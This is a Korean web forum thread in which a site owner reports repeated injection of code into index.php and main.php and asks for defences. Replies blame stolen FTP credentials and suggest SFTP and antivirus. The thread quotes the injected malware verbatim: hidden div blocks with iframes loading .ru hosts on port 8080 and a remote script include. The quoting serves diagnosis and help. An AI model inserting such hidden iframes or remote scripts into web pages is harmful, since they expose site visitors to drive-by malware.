홈페이지에 자꾸 불청객이 방문하는군요...;;;; > 자유게시판

자유게시판

홈페이지에 자꾸 불청객이 방문하는군요...;;;; 정보

홈페이지에 자꾸 불청객이 방문하는군요...;;;;

본문

불청객이 자꾸 들어와서...코드를 변조하는군요...;;;


index.php 파일과 main.php 등 곳곳에 심어놓고 사라지시는데...
sftp나 포트번호를 봐꿔 놓은 서버는 문제가 없는데...
일반 호스팅받는 곳은 연락없이 이분?께서 방문하셔서 코드변조하시고
스르륵 사라지시는군요...흑... 프로그램에서 어떻게 막을수 있는방법없을까요?

utfntkihfrxnyypfnnpnavrbitjkoad

thqrpvrwqasjzykdbgtvwqrlnbynour

yhcqujissyvsxxgchfhqfnwsswiylhx
http://www.freeguard.biz/j100coock.js">>
추천
0
  • 복사

댓글 7개

대충 요런 코드입니다...;;

<div style="display:none">utfntkihfrxnyypfnnpnavrbitjkoad<iframe width=383 height=197 src="http://beeoo.ru:8080/index.php" ></iframe

<div style="display:none">thqrpvrwqasjzykdbgtvwqrlnbynour<iframe width=200 height=353 src="http://testbio.ru:8080/index.php" ></iframe></div>




<div style="display:none">yhcqujissyvsxxgchfhqfnwsswiylhx
<!-- ad --><script type="text/javascript" src="http://www.freeguard.biz/j100coock.js"></script><!--
<div style="display:none">iusjhozqfasixfppxqbcasjmqqnpsdx<iframe width=922 height=181 src="http://aggge.ru:8080/index.php" ></ifram
<div style="display:none">nmxwlesmeeunygckgdxicjbxbqpjyzq<iframe width=414 height=721 src="http://age-info.ru:8080/index.php" ></ifra
<div style="display:none">xcuksgifcrrmdivdtzpmotwhhtgrqzk<iframe width=461 height=670 src="http://bio-z.ru:8080/index.php" ></ifr
<div style="display:none">dfsvkoziiaumdmgyuszlxkqbmgehqfh<iframe width=919 height=447 src="http://your-age.ru:8080/index.php" ></i

<div style="display:none">mgcjyjrynnddfjbtuenxhtrejeywpzg<iframe width=771 height=441 src="http://bio-v.ru:8080/index.php" ></iframe></div>
저도 똑같은거 당했는데요
작업PC에 백도어 프로그램이 깔려서 FTP 비밀번호가 유출된거랍니다.
지우고 해도 계속 올라오고  다른 변종으로도 올라옵니다.

제일먼저 FTP  비밀번호 변경하시고
FTP는  SFTP 포트22 번으로 사용하세요 (파일질라)

그렇게 했더니 일단은 잠잠합니다.
저도 자주 당했는데..
다른 백신은 탐지를 못하는데 avast는 잘 막아주네요

http://www.maru.net/bbs/zboard.php?id=qna&page=1&sn1=&divpage=3&sn=off&ss=on&sc=on&select_arrange=headnum&desc=asc&no=13339

참조해보세요.
© SIRSOFT
현재 페이지 제일 처음으로